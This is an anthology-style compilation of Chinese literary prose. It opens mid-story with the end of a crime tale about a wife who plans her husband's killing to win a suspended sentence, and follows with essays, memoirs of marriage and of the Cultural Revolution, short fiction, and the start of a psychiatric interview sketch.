　　“对不起，”冈岛久男颔首致歉，“那么我长话短说。可以假定，里子对山区中的某个男子怀有好感，而且那男子对她也持有超过好感的感情，因为他深信不疑里子是个寡妇，而且认为世上恐怕再也找不到她那样的女人了……

　　“里子心中一定很苦恼。她有要吉这个丈夫，并且是她深恶痛绝的丈夫。她愈是倾心于第三者，就愈希望从这个丈夫手里解脱出来。由于要吉绝不会放她走，离婚是根本谈不上的。要获得解脱的唯一办法，是丈夫死亡，成为真正的寡妇，不幸，要吉身体健康，巴望他早死似乎不可能，除非把他诱上死路，此外别无良策。”

　　高森泷子的脸色变得苍白，惊讶之中连话也讲不出来。

　　“但杀害亲夫可是桩重罪，杀掉了丈夫，自己要么死刑，要么无期徒刑，什么好处也捞不着，头脑灵活的里子得知其中利害。那么，有没有既能杀死丈夫，又不实际服刑的法子呢？唯一的办法是争取缓刑。只要今后不再犯法，人身就是自由的。要干，只有这个办法了，

　　“可是，必须具有一定的条件，法庭才能援引‘酌情减刑’的条款，判处缓刑。当时的要吉确实丧失谋生能力，但这并不符合条件。因此必须创造条件。里子充分掌握要吉的性格，就冷静地加以利用。接下去的事，宛如请君入瓮，把要吉引上钩即可。她计划用一年半时间完成。”

　　“在开头半年内，她坚持拒绝要吉，将他置于‘饥饿’状态，这是第一步。然后，叫他到寡妇开的酒店去。她预料，饥渴的丈夫必然会向那个女人求欢。这是第二步。

　　“如果利用胁田静代失败了，里子会再找寻别的女人，因为这种女人多的很。不过，静代完全符合要求，要吉果然对她着迷了。他那败家子的性格，加上发酒疯的恶癖，把家庭生活破坏殆尽。里子的供词基本属实，只是没有逐一在场的证人，也许有点夸大其辞。这第二步也要半年。

　　“半年内，要吉终于堕落成她所希望的那样，所作所为正中下怀。这样，酌情减刑的条件就完全具备了。她的计划和要吉的性格，再合拍不过了。

　　“随后她就下手杀夫，接着是审判。判决下达的时间也和精确计算的时间相同，等了半年。这是第三步。换言之，从创造条件开始，首尾共计一年半。噢，对了，要说神机妙算，还在于所谓的舆论也……”

　　冈岛刚说一半，瞥见妇女评论家的神色不对。

　　高森泷子面色惨白，圆脸上毫无血色，薄嘴唇在颤栗。

　　“你，”她掀动着扁平的鼻孔道，“你说的是想象，还是确有其事？”

　　“不仅是想象，”脸膛被骄阳烤成古铜色的冈岛久男，坦然回答。“因为当我求婚时，须村里子说：‘请等我一年半。’”

　　话音刚落，冈岛久男把烟盒放进衣袋，从椅子里站起来。

　　临行之前，他又回头看着妇女评论家宽慰道：“可是，这种事情任凭我怎么诉说，也不会改变里子缓刑判决的，请您放心好了。即使呈上证据，法院也不会再度审理的——一经判决，对本人不利的再审就不为法律承认了。里子的妙算，似乎连这一点都算计到了，只是——”他那孩提般的双眼，凝视对方：“只有一点失算：就是等了她一年半的对象，却溜之大吉了。”

写在五线谱上的信

王小波


　　银河，

　　你好！做梦也想不到我把信写到五线谱上吧？五线谱是偶然来的，你也是偶然来的。不过我给你的信值得写在五线谱里呢。但愿我和你，是一支唱不完的歌。

　　谁也管不住我爱你，真的，谁管谁就真傻，我和你谁都管不住呢。你别怕，真的你谁也不要怕，最亲爱的好银河，要爱就爱个够吧，世界上没有比爱情更好的东西了。爱一回就够了，可以死了。什么也不需要了。这话傻不傻？我觉得我的话不能孤孤单单地写在这里，你要把你的信写在空白的地方。这可不是海誓山盟。海誓山盟是把现在的东西固定住。两个人都成了活化石。我们用不着它。我们要爱情长久。真的，它要长久我们就老在一块，不分开。你明白吗？你，你，真的，和你在一起就只知道有你了，没有我，有你，多快活！

　　我现在一想起有人写的爱情小说就觉得可怕极了。我决心不写爱情了。你看过缪塞的《提香的儿子》吗？提香的儿子给爱人画了一幅肖像，以后终身不作画了，他把画笔给了爱了。他做得对。噢，真的，我们为什么不早认识？那样我们到现在就已经爱了好多年。多么可惜啊！爱才没够呢。

　　傻子才以为过家家才是爱情呢，世俗的心理真可怕。不听他们的，不听。不管天翻地覆也好，昏天黑地也好，我们到一起来寻找安谧。我觉得我提起笔来冥想的时候，还有坐在你面前的时候，都到了人所不知的世界。世界没有这个哪成呢？过去是没有它就活得没意思，现在没有你也没意思。

　　星期一夜

我们的老式婚姻

杨修峰

　　在我们家的像册里，珍藏着我们家的第一张全家福，拍摄于 1970 年。每当我看到这张照片，就会回忆起我与老伴携手走过的近 60 年峥嵘岁月。

　　我和老伴都已年过古稀，我们的婚姻是那种“父母之命，媒妁之言”的老式婚姻。那时，时兴找大媳妇，我的老伴就比我大 6 岁。

　　10 岁那年，我正在街上疯玩，娘把我拽回家。只见家里聚了许多人，不过年不过节的，却张灯结彩，门上贴着火红的对联，娘给我换上一身新衣服，命令我说：“不要弄脏了，今天给你娶媳妇！”唢呐声、鞭炮声响起，有人大声叫：“花轿来了！”邻居家的二大爷把我引到花轿旁，让我掀开轿帘，将蒙着盖头的新娘搀扶下来，又把系着同心结的红绸子，一头塞进新娘手里，一头塞进我手里，我引着新娘，踏着红地毯，向堂屋走去。父母端坐在八仙桌两旁，二大爷扯开大嗓门叫道：“吉时已到，新郎新娘拜天地！”外面响起密集的鞭炮声，小伙伴们一阵欢呼，我知道他们在抢落在地上没响的哑炮，便扭头往外跑，也要去抢哑炮。二大爷紧跑几步，将我抱回去，按着我的头，指挥着我，匆忙结束了拜堂仪式。

　　进了洞房，新娘坐在床上，床上满是花生、栗子和大红枣，我眼前一亮，抓了一大把，吃了起来。“哎！过来！”她叫我。我从椅子上跳下来，跑过去，问她：“你也想吃？”她说：“把盖头给我揭下来！”我爬上床去，她个子高，我够不着，只好跪着把盖头拽下来。只见她乌黑的头发，高高的鼻梁，红红的嘴唇，两只大眼睛忽闪忽闪的，我惊呼道：“姑姑！你真漂亮！”她扑哧笑了，“我叫山花，以后在别人面前你叫我山花，没人的时候，你叫我姐姐！”

　　儿时的我十分顽皮，和小伙伴们玩捉迷藏，钻进了麦秸垛里，伙伴们找不到我，就回家了，我玩累了，竟然不知不觉地在麦秸垛里睡着了。半夜里，山花好不容易找到我，背着我回家，我睁开双眼，看着满天的繁星，那星星不住地眨眼睛，我好奇地问道：“姐！月亮藏到哪儿去了？它是不是也在和星星们捉迷藏，星星找不到它，急得直眨巴眼睛！”她在我屁股上扭一把，“找不到你，快急死我了，你还有这分闲心！”

　　20 岁那年，我考上了山东师范学院。一天，有人在楼下叫我，“你娘来看你了！”跑下去一看，竟然是山花。那位同学还大娘、大娘地叫个不停，山花满脸通红。此时，我已是三个儿子的父亲，山花伺候父母，照顾三个孩子，还要忙于田间劳动，苍老了许多。看着她，我有些心酸。同学走后，见我窘迫，她调侃说，“你长辈分儿了，同学叫我大娘，你岂不成大爷了！”我凄然地笑了。

　　来到宿舍，山花脱下鞋，满脚的血泡。为了节省车费，她步行 80 里地，赶到火车站，下了火车后又步行来到学校。那时，我的不少同学以反对包办婚姻为由，抛弃了结发妻子。山花泪眼婆娑地说：“我和三个孩子都离不开你！”山花一向性格刚强，从没在我面前流过泪，此时却如梨花带雨一般，我信誓旦旦地说：“我绝不会做陈世美！”她这才破涕为笑，将一个包袱递给我，说：“这是衣服和吃的，你赶快上课去吧！”我目送着她一瘸一拐地渐渐远行。

　　毕业后，我在县城教学，山花在家担负着养老抚小的责任，我虽是老师，但因教学任务繁重，离家又远，让我无暇顾及自己孩子的学习，但三个孩子在山花的调教下，学习成绩却是出奇地优秀，先后考上了大学，找到了理想的工作。这一切都是山花的功劳。

　　退休后，我常常陪着她，冬天在墙根下晒太阳，夏日在树阴下纳凉，回忆着陈年往事，任凭时光静静流过。说着说着，就打起了盹儿……她忽然满脸惊慌地坐起来，我拍拍她，安慰道：“又做噩梦了？”她猛地陷进躺椅说：“咳！我又梦见你尿炕了！”

一条狗的两次死亡

照日格图

　　那一年，因为生活上的原因，我搬到一个远亲弟弟家，和他一起住。弟弟的房子在艺术家和图书馆员集中的小区。那里远离市区，人们经常把垃圾和脏水倒在离小区门口不远的地方，加之冬天寒冷，小区门口结了厚厚一层冰。在这里，虽然生活条件没有城里好，但安静的环境能让我更好地观察生活，潜心写作。

　　一天，这样的安静被孩子们的叫喊声打破了。有个孩子在小区门口等待着什么。突然一只浅黄色的母狗领着一只黑色的狗从小区大门大摇大摆地走了出来。我看到刚才的孩子手里拿着碗口般粗的木棒，意图很明显，想把那只黑狗打死。等黑狗从他面前走过时他狠狠砸了下去。我没有继续关注这场结局残酷的较量，进屋看书了。

　　大约过了两个小时，我起身去解手。看见被一棒打倒的黑狗还没断气。它沾满鲜血的鼻孔伸张着，说明还在呼吸。我不忍心看下去，希望它快些死，以免受苦。次日起床后我急着去看那只命在旦夕的狗，它还没死。它可怜地蜷缩在脏水结成的冰面上，身上落了厚厚的一层霜。冰面被它的体温融化了，形成了浅浅的凹形，它冻得缩成了一团，瑟瑟发抖着。过了一会儿，小区里的老妇人端来一盆狗食放在它面前。黑狗躺在原地，伸出舌头去舔食盆里的东西。晚上我下班回来时看见狗还在那里躺着，装狗食的盆子却空了。之后几天里老妇人定期拿来狗食喂它，狗吃东西的速度也在一天天增加。有一天我下班回来一看，那只狗不见了，冰面上只剩下凹槽。黑狗跑到了老妇人门口，在大门左侧蜷缩着。我走过去仔细端详了一下，它的左眼被打瞎了，牙齿也被打掉了好几颗。

　　那黑狗完全康复之后变得异常凶猛。无论是熟人或陌路，只要从老妇人门前经过，它都会龇牙咧嘴地狂吠一阵，样子骇人。冬天很快就过去了。春天，小区里传开了关于那只狗的种种猜测。大家都说黑狗越来越反常。还有人有板有眼地说那狗肯定是疯了，应趁早解决掉。春天是狂犬病传播的时候，免得祸害小区里的居民。不知为什么，这样一个毫无根据的传言在小区里越传越远，很多人都信以为真。

　　几天后小区里来了两位壮实的小伙子，手里拿着棍子，直奔老妇人家。黑狗还没反应过来两个小伙子直接在它的头上给了一棒。一阵乱棍过后那狗再也不能动弹了。我想救它一命，可房子不是我一个人住，所以爱莫能助。最后，有人用细细的铁丝拴住黑狗的脖子拉到离小区较远的地方埋了。

　　生命的坚强与脆弱，原来只是一墙之隔。一只在人的暴力中野草般旺盛存活下来熬过冬天的狗，却于人类的流言飞语炮轰里，熬不过春天，成了卑微的草芥。

我来讲一个故事

加西亚 · 马尔克斯

　　从前，有个很小的村子，村里住着个老太太。老太太有两个孩子，儿子十七，女儿还不到十四。一天，老太太一脸愁容地端来早饭，孩子们见了，问她怎么了，她说：“我也不知道，一早起来，总觉得村里会遭大难。”

　　孩子们笑她，说老太太就这样，净瞎想。儿子去打台球，碰到一个球，位置极好，绝对一击就中。对手说：“我赌一个比索，你中不了。”大家都笑了，这个儿子也笑了，可一杆打出去，还真的没中，就输了一个比索。对手问他：“怎么回事？这么容易都击不中？”儿子说：“是容易。可我妈一早说村里会有大难，我心慌。”大家都笑他。赢钱的人回到家，他妈妈和一个表妹或孙女什么的女亲戚在家。他赢了钱，很高兴，说：“达马索真笨，让我轻轻巧巧赢了一个比索。”“他怎么笨了？”“笨蛋都能打中的球他打不中。说是他妈一早起来说村里会有大难，他心慌。”

　　这人的妈妈说：“老人家的预感可笑不得，有时候真灵。”那女亲戚听了，出门买肉，对卖肉的人说：“称一磅肉。”卖肉的正要切，她又说：“称两磅吧！都说会有大难，多备点好。”卖肉的把肉给了她。又来了一位太太，也说要称一磅，卖肉的说：“称两磅吧！都说会有大难，得备点吃的，都在买。”

　　于是，那老妇人说：“我孩子多，称四磅吧！”就这样称走了四磅肉。之后不再赘述。卖肉的半小时就卖光了肉，然后宰了头牛，又卖光了。谣言越传越广，后来，村里人什么都不干了，就等着出事。下午两点，天一如既往地热。突然有人说：“瞧，天真热！”“村里一直这么热！”这里的乐器都用沥青修补，因为天热，乐师们总在阴凉的地方弹奏，要是在太阳底下，乐器非晒散架不可。有人说：“这个点儿，没这么热过！”“就是，没这么热。”街上没人，广场上也没人，突然飞来一只小鸟，顿时一传十，十传百：“广场上飞来一只小鸟。”大家惊慌失措地跑去看小鸟。

　　“诸位，小鸟飞来是常事！”“没错，可不该是在这个点儿。”人们越来越紧张，万念俱灰，想走又不敢走。有人说：“我一个大老爷们儿，有什么好怕的，我走！”说着，就把家具、孩子、牲口通通装上了车。大家眼睁睁地看着他走过中央大道，都说：“他敢走，我们也走。”于是全村的人都开始收拾，物品、牲口通通带走。就剩最后一拨人了，有人说：“还有房子呢！可别留在这儿遭难。”就一把火把房子给烧了，其他人也跟着烧，好比在经历一场战乱，个个抱头鼠窜。人群中，就见那有预感的老太太说：“我就说会有大难，还说我疯了！”

双鱼

三毛

　　深夜的街道斜斜的往上通，她的摊子有一支蜡烛在风里晃。天冷，地势海拔四千公尺，总是冷的，尤其在夜里。我停下来买一条煎鱼，鱼是煎好的，放在报纸下面，印第安女人很自然的要将鱼放回到油锅内再热给我。看到地上纸盒子里还睡着一个娃娃，不忍她为了我一点小生意再麻烦，再说玻利维亚的首都拉巴斯当时是要戒严的，我催着她要付钱，说冷鱼也很好吃，快卖了给我收收摊子回去吧！那个女人仍然要给我煎，一面下锅一面问我几点了，我告诉她，她起身紧了一紧披风，急着收摊子背娃佳，就在那时候，我发现她的身上、胸口，晃动着两只银色的鱼，是晃动的，好似在游着一般闪闪发光。我忍不住伸手摸了一摸。“你卖不卖这对鱼？”问着自己先脸红了。那女人愣了一下，怕我反悔似的急急的说：“卖的，卖！”唉，我是个讨厌的人，利用了别人小小的贫穷。我们双方都说不出这双银鱼该付多少钱才好，对着微笑，都很不好意思，最后我说了价，问她够不够，她急忙点头怕我要反悔，急着将银鱼从自己身上拿下来，鱼下来了，夜风一吹，吹掉了她没有别针的披风。

　　“我还有老东西。”她说，要我第二天去街上找她，我去了，第二天晚上，她给了我照片下面的两副红石头的耳环，也是我出的价，她猛点头。拿下了她的家当，有好一阵心里不平安，将耳环用手帕包了又解，解了又包，好几年来，这个女人的身影和她的摊子，还有那个婴儿，一直在我的心里参杂着一份内疚不能退去。我想，再过几年如果回去拉巴斯，我要将这几样东西送回给那个女人，毕竟，这是她心爱的。

我们都有病

朱德庸

　　我喜欢走路。

　　我的工作室在十二楼，刚好面对台北很漂亮的那条敦化南路，笔直宽阔的绿荫绵延了几公里。人车寂静的平常夜晚或周六周日，我常常和妻子沿着林荫慢慢散步到路的尽头，再坐下来喝杯咖啡，谈谈世界又发生了哪些特别的事。

　　这样的散步习惯有十几年了，陪伴我们一年四季不断走着的是一直在长大的儿子，还有那些树。

　　一开始是整段路的台湾栾树，春夏树顶开着苔绿小花，初秋树梢转成赭红，等冬末就会突然落叶满地、只剩无数黑色枝枒指向天空。接下来是高大美丽的樟树群，整年浓绿。再经过几排叶片棕黄、像挂满一串串闪烁的心的菩提树，后面就是紧捱着几幢玻璃帷幕大楼的垂须榕树丛了。

　　这么多年了，亚热带的阳光总是透过我们熟悉的这些树的叶片轻轻洒在我们身上，我也总是讶异地看到，这几个不同的树种在同样一种气候下，会展现出截然相反的季节变貌：有些树反复开花、结子、抽芽、凋萎，有些树春夏秋冬，常绿不改。不同的植物生长在同一种气候里，都会顺着天性有这么多自然发展；那么，不同的人们生长在同一个时代里，不是更应该顺着个性有更多自我面貌？

　　我看到的这个世界却不是如此。

　　我们这个时代的人，情绪变得很多，感觉变得很少：心思变得很复杂，行为变得很单一；脑的容量变得越来越大，使用区域变得越来越小。更严重的是，我们这个世界所有的城市面貌变得越来越相似，所有人的生活方式也变得越来越雷同了。

　　就像不同的植物为了适应同一种气候，强迫自己长成同一个样子那么荒谬；我们为了适应同一种时代氛围，强迫自己失去了自己。

　　如果，大家都有问题，问题出在哪里呢？

　　前年底，我得了一个“新世纪 10 年阅读最受读者关注十大作家”的奖项，请友人代领时念了一段得奖感言：“这是一个每个人都在跑的时代，但是我坚持用自己的步调慢慢走，因为我觉得大家其实都太快了——就是因为我还在慢慢走，所以今天来不及到这里领奖。”这本《大家都有病》从二〇〇〇年开始慢慢构思，到二〇〇五年开始慢慢动笔，前后经过了十年。这十年里，我看到亚洲国家的人们，先被贫穷毁坏一次，然后再被富裕毁坏另一次。我把这本书献给我的读者，并且邀请你和我一起，用你自己的方式，在这个时代里慢慢向前走。

王府大街 64 号

雷达

　　最近，我到王府大街 64 号去过一趟。

　　这其实是老门牌，现在早不这么叫了，这里曾是中国作协和全国文联的旧址，人称“文联大楼”，多年前也早改为商务印书馆的办公地点。我去干什么，记不清了。只记得受一股莫名力量的驱遣，我踽踽地登上一楼半的台阶，轻轻地推开那扇久违了的大门。门开的一瞬，我几乎有点晕眩。我很害怕地窥探着，寻找着，希望它最好面目全非，不再是什么小礼堂。但它好像还是礼堂的模样，格局未变，新主人连起码的装修也没搞，一股熟悉的陈旧的气息扑面而来。大厅里没有人，很空旷，我甚至觉得很荒凉。蓦地，我的耳畔响起了怒吼声，咆哮声，然后，是什么东西重重地摔在地上轰地一声巨响。我赶快逃也似地返身跳下楼梯，冲出大门，直冲到繁华的大街上。大街平静如故。车流和人流无知无觉地移动着，像无始无终的时间。但这并未减却我的紧张，我的心还在卜卜地跳。

　　到底怎么了？我模糊意识到巨响声属于幻觉，且来自遥远的时空，但我还是条件反射似地惊跳起来。我试着整理自己的思绪，好久才平静下来，想起了与这座礼堂连带的好多往事，还有那巨响声的由来。

　　我是 1965 年分配来这里的，那年我 22 岁。还在学校图书馆翻杂志的时候，我就感到惊讶，为什么好多权威性的文艺刊物，像《文艺报》、《人民文学》、《诗刊》、《剧本》、《戏剧报》，还有《人民音乐》、《曲艺》、《民间文艺》等等，编辑部的地址一律标着“王府大街 64 号”？那个年代刊物寥寥，能将如此多的精华汇聚在一起，那该是何等堂皇而神秘的所在？我想象出入那里的人士，定然个个气度不凡，多少有名的作品曾从他们的手中发出啊。对一个僻处大西北，读着中文系，做着作家梦的学子来说，真是心向往之，却又仰不可攀。然而，造化弄人，怎么也没想到，我本人的毕业分配，报到地点竟就是这王府大街 64 号。

　　其实我最终并未真正分到这座大楼里工作，而是分到它下属的一个小协会——中国摄影学会。当时这里作为中国作协和全国文联的大本营，并没有聚齐所有的协会，像美协、摄协等都在外面，离得倒不远。报到那天，我一瞥见这座大楼，觉得它那钢青色的身躯在蓝天衬托下，显得格外高大神圣，心里就起了一股敬畏感。文联人事处一个胖而高的中年女同志看了看我的报到证，马上说，好啊好啊，这两天摄影学会正在要人，你就到那儿去吧。我一个学中文的突然去搞摄影，心里自然发紧。我急忙嗫嚅着，我学的不是这个……语音未落，这位女同志便疾言厉色道，你怎么可以不服从组织的分配呐？那时“组织”就是命令，何况那天我太像个乡巴佬了。我觉得她高大的身躯有种威压力，叫人不得不服。我的命运不到十分钟就决定了。事后跟几个同年来的大学生一聊，才知道把谁分配到那里都是人事部门头疼的事。滑头一点的会扶扶眼镜架，故作口吃地说，我高度近视，对不准焦距啊，要么就勾着头很木讷地说，我可是研究甲骨文的，弄得人家无可奈何，遂滑将过去。可惜我不具备这样的智商。当时的我多么沮丧啊。好在，我的失落感不久就变得毫无意义了。不到一年，“文革”爆发，大家全都卷进了无止无休的斗争。什么创作啊，艺术啊，全都变成了罪恶的证据，从事这一行的人不再风度翩翩，而是个个可疑，都要被推上批判席的，只是程度的不同和时间的早晚罢了。

　　当年，文联小礼堂的地位骤然显要起来。据说这里曾叫文艺俱乐部，困难时期，政治空气一度松动，此处也曾开茶座，唱评弹，吼川剧，办舞会，笙歌不息。但自 1965 年以来，两个批示先后下达，风声越来越紧，小礼堂开不完的会，娱乐活动遂渐至绝迹。我几乎每周都要来一二次，不是听周扬的传达，就是听林默涵的检查，讲的人皆一脸晦气，听的人则忐忑不安，好像都预感到大难临头，惶惶不可终日。果然，到了 1966 年七八月间，风暴突起，势如狂飚，红卫兵洪流冲向每个角落，所向披靡，这座礼堂自然被率先举上了浪尖，完全变成一个大斗技场了。说来不信，那时小礼堂内外，每天人山人海，摩肩接踵，大字报铺天盖地，很像现今的庙会、博览会、商品交易会，敞开大门迎接四海串联客。大中小型批斗会不断，就像庙会里同时上演着好几台节目一样。这儿在斗冰心，因她的母校是贝满女中，就是附近的灯市口某中学，“小将”们斗起来格外起劲，抓住她回答问题时用了“报馆”这个旧词，大骂其反动。那儿在斗舞蹈家盛婕，已被剃光了头，不知什么话激怒了“小将”，被连推带搡，从楼梯滚了下来，摔伤了。“小将”们固然虔信“革命”，但也有满足好奇心的一面，平日只能在语文课本上见到的名字，忽然不但能见到本人，且可随时拎来观摩、批斗，不是很刺激的事儿吗。

　　多年后我还清晰地记得，一天，一彪身着绿军装，腰扎宽皮带，臂佩红袖标的男女“小将”闯了进来，围住几个“黑帮分子”批斗，喝令他们“自报家门”：报名字、头衔、出身、罪行。有一老戏剧家，高举罪牌，在报出自己的资本家出身后，决不停顿，紧接着大声补充说“我老婆是贫农！”。当时谁也没料到他会这么“不老实”，全愣住了。我想，这若干秒的静场是有潜台词的，那意思是，既然我老婆是贫农出身，你们斗我就有斗“贫农的丈夫”之嫌。不料有一女红卫兵立即喝斥道：“混蛋，谁问你老婆了！”我想这女孩儿一定在家娇纵惯了，平时就没大没小的，不然反应不会如此之敏捷。现在，这位老前辈已经谢世，他在惶急中的本能自卫，制造了一个冷幽默，至今想来令人苦笑。却也有胆子极大的人，当时或稍后，有位女同志贴出了为她的“黑帮丈夫”辩护的小字报，她采用的逻辑是以子之矛，攻子之盾，从“红小鬼”说起，说得全是最革命的话，弄得造反派一时很窘，虽极恼火，又找不出多少有力的话反驳，只好大骂其嚣张，或念叨“是可忍孰不可忍”之类。多年过去了，想起她作为一个女性，敢在那黑云盖顶的时候挺身而出，我还是佩服的。有时，柔弱的恰恰是刚强的。

　　出没在这里的“牛鬼蛇神”的名单确实太壮观了：除了周扬，林默涵，刘白羽等，人在外单位，不时可提来批斗外，像田汉，阳翰笙，光未然，邵荃麟，郭小川，贺敬之，李季，冰心，臧克家，陈白尘，张天翼，严文井，侯金镜，吴晓邦，吕骥，李焕之，冯牧，葛洛，韩北屏，戴不凡，屠岸，陶钝，张雷等等，都是本楼的人。那无异身在囹圄，插翅难飞。每个喧嚣的白天结束后，他们才会有片刻喘息，洗去满脸污垢，但关在地下室的他们，又有几人能够安眠？

　　我回忆着自己当时的感觉，22 岁的我，作为一个酷爱文学的外省青年，能见到这么多仰望既久的文坛大家，私心以为是一种幸运，可是，见面在如此不堪的场合，亲眼看他们一个个如囚徒般狼籍，又有种珍贵的瓷器被一排排击碎了的感觉。

　　那时受难的决不限于所谓“黑帮分子”，有些被认为最无瑕疵的人，也会在一个早晨厄运突降。《文艺报》的朱某，刚毕业的大学生，戴一副黑边眼镜，挺文气的，听说还是烈士子弟，又分到了这么好的单位，我真羡慕，觉得他太幸福了。有天我还目送他锁了自行车走进大楼，视线要能拐弯，还会一直目送下去。那时他正忙于“造反”，不料有人秘密举报，说他在“毛选”上搞“眉批”。这太骇人听闻了，用当时的话说，叫狗胆包天。而事实是，他学毛著时爱在空白处写点感想，大约有几句话露出了商榷的架势。他搞“反动批注”的问题被迅速报到公安局，说是马上要逮捕，其实公安局也不怎么想受理，因为太多了，逮捕不过来。于是由一女同志看守他。他推说要上厕所，进去不再出来，待冲进去一看，手表搁在窗台上，人不见了。与此同时，正吃午饭的人觉得窗外有个大鸟样的东西从天上掉下来，发出巨响。大家忙出去看，见他趴在地上挣扎，还在找眼镜呢。看他疼得满地打滚，有人说“活该，反革命”，也有人主张急送医院。到了医院却无人敢治疗，因为他是“畏罪自杀”者。不一会儿，他就死了。生命啊，卑微如一片落叶，着地无声。

　　还有一场面，我每一思及，便不寒而栗。那是批判中国文联副主席刘芝明。刘已是垂暮老人，晃悠悠地站着，垂首静听批判，突然，会场外冲进一人，这人的名字和模样都不记得了，只见他手拿两样东西：一张报纸，一双鞋，好像掌握了重大机密似的威风凛凛。他径直冲到麦克风前高声宣布：现已发现，刘的最新最重大罪行，他胆敢用我们最最最伟大领袖的光辉形象“包鞋”！此言既出，全场几乎大乱，口号声此起彼伏，像一口沸锅。只见这人二话不说，冲到刘的面前，抡起鞋底，照着头和脸左右开弓，嘭嘭嘭的拍击声响了很久。我不忍看，却没法不听。至今我还听到这嘭嘭的击打声，好像就在昨天。有时我会好奇地想：不知那个打人者现在在做什么，是不是也像所有慈祥的老爷爷一样正在含饴弄孙呢？那天我也跟着呼口号了吗？好像呼过，不，一定呼过。

　　最难忘的还是批田汉，这位中国左翼文艺运动的先驱，戏剧界的泰斗。揭发人好像是田汉身边的什么人，他那冷酷、嘶哑的声调和闪动在镜片后面刀子一样锐利的目光，足以使被批判者崩溃成一摊泥。他一条一条地揭发着田汉怎样毒害青年，怎样刻骨反动，就像一层一层地剥着人皮，批判稿厚得一世也念不完。控诉渐近高潮，台下群情激昂，有人忽然奋臂高呼“跪下，叫他跪下！”也许因问题提得突然，先静场一息，继而“跪下”声就连成了一片。但田汉居然不跪，僵持着，有人上前按他的头，他还是硬挺着脖颈不跪。人们恼了，吼声暴起，声震四壁。继而，全场静寂如死，似有所待。只听见“咚”的一声，田汉终于自动跪下了！跪得很突然，声音很响，像一座大厦，甚至一座山样轰然倒塌，真是惊心动魄。这一声震碎了我年轻的心灵。这一声从此永远烙刻在我的记忆中了。

　　是的，田汉跪下了，这个当年鼓动我们“冒着敌人的炮火前进”的人跪下了，这位国歌——半个世纪来响彻在祖国天空的庄严歌声的词作者跪下了，这个占了现代文学史一个长长的章节，作为一个时代的重要代表的人跪下了。他究竟在给谁下跪呢？也许直到很久以后我们才意识到，他跪下的一瞬，时间更深地楔入了黑夜，黑暗遮没了光亮，愚昧压倒了文明。受凌辱的难道仅仅是田汉一个人吗，不，受凌辱的还有让他下跪的人，还有我们自己的历史啊。

　　现在的我，也就是已经五十多岁，白发悄悄爬上鬓角的我，伫立在大街上，定定地凝望着老门牌王府大街 64 号，这长方形的青砖砌成的大楼。真是物犹如此，人何以堪。据说 50 年代末大楼新建成时，虽因经费压缩，减了规模，它却仍不失为一幢恢弘的建筑，可是现在，它已被暴风雨褪去了钢青色，显得灰白，像一头青丝转眼间白发丛生一样。它杂在今天高楼大厦的群落间，无论色调还是建筑风格，都显得那么老气横秋。是的，它走了太多的路，它老了，在我的视觉里，它渐渐幻化成一只陷身狂涛巨澜中的孤舟，不断地被抛起，又不断地被掷下。现在的作家协会和文联早搬到新楼了，于是，这王府大街 64 号也就只能作为历史陈迹碇泊在这儿了。如果把它看作一个特定时段中国文艺界的象征，也许是恰当的。它肯定具有研究价值。对于它的历史反思，它在中国文艺史上的功过，早晚该有人会做的罢。

　　然而，我心中的困惑并未完全解开，我不是想追问哪一个具体的人或者哪一件具体的事，我想追问的是人心，是包括我自己在内的人的精神秘密。忆当年，“小将”们的顽横固然可憎，他们中的很多人后来经历了漫长的精神磨砺，有的虽只知反复陈述知青生活的苦难，却也很有些人敢于反思这一段变态的人生，可我们知识者、干部或被称为文艺家中的某些人呢，似乎很忌讳再提起这些事；而许多事恐非一个“迷信”和“冲动”可以了结。不是说“侧隐之心，人皆有之”吗，为什么昨天叫着“同志”，恨不得亲热的拥抱，转眼间就铁青了脸，瞪着敌视甚至嗜血的眼光，半点同情心也没有了”？为什么人会一面自己受害，一面琢磨害人？为什么在中国最高的文艺殿堂，上演着这般冷酷的“戏”？这暴力倾向是原先就潜伏着，存在着的，还是一时的迷狂所致？诚然，斗人者当时往往真诚地认为被斗者是有罪的，被斗者也往往认为自己确也是有罪的，但当雨过天晴之后，我们是否就理应认为错误全在历史，自己什么错也没犯过呢？对那些打人者、举报者来说，也是绝对真诚的吗？还是出于恐惧，出于泄忿，出于利益，甚或出于以折磨别人、咀嚼别人的痛苦为乐的阴暗心理？我并不膺服那句人人尽知的“人一半是天使，一半是魔鬼”的话，此刻它竟浮了上来。我在想，光有火苗，底下没有大堆的干柴是怎么也燃不成熊熊大火的。

　　人流擦身而过，我注意着今天的男人和女人，早已不复三十年前多是憔悴、迷乱、惊恐、叵测的神色，而换上了健康、紧张、专注、急躁的脸色。人们似乎都盯着一个很实在的单一目标奔走，脚步匆匆。“人对人”粗暴侵犯的时代消歇了，代之而起的总不会是个“人对物”狂热占有的时代吧？

　　一场大噩梦随着那个时代的结束而结束了，但那时代的精神因此也永远地消失了吗？我从外电或零星报道中看到，不是没有人怀恋“文革”，渴望那非人的方式重演。我从眼下层出不穷的贪污犯看出，他们抢掠金钱的疯狂决不亚于“文革”中迫害他人，攫取权利的疯狂。我不禁为之怅然：昨天与今天之间真的已隔着鸿沟？昨天的人心与今天的人心真的已全然不同？外在的文明的进步真的可以代替内在的文化的进步？某日，我偶然翻读加缪的《鼠疫》，里面竟有这样的话：里厄倾听着城中震天的欢呼声，心中却沉思着，威胁欢乐的东西始终存在，兴高采烈的人群却看不到。鼠疫杆菌不死不灭，它能沉睡在家具和衣服中历时几十年，它能在房间、地窑、皮箱、手帕中耐心地潜伏守候……

　　我再次回望王府大街 64 号这座老楼，心想，有些东西是应该遗忘的，有些东西却不能遗忘，永远不能。

女人的星球

高铭

　　我推门进来的时候，吓了他一大跳，还没等我看清，他人就躲到桌子底下去了，说实话我也被吓了一跳。

　　关上门后我把资料本子、录音笔放在桌上，并没直接坐下，而是蹲下看着他。我怕他在桌子底下咬我——有过先例。

　　他被吓坏了，缩在桌子下拼命哆嗦着，惊恐不安地四下看。

　　我：“出来吧，门我锁好了，没有女人。”

　　他只是摇头不说话。

　　我：“真的没有，我确定，你可以出来看一下，就看一眼，好吗？”

　　跟这个患者接触大约 2 个月了。他有焦虑+严重的恐惧症，还失眠，而恐惧的对象是女人。

　　他小心地探头看了下四周，谨慎地后退爬了出去，然后蹲坐在椅子上，紧紧地抱着自己双膝，惊魂未定地看着我。

　　我：“你看，没有女人吧。”

　　他：“你真的是男的？你脱了裤子我看看？”

　　我：“……我是男的，这点我可以确认。你忘了我了？”

　　他：“你还有什么证据？”

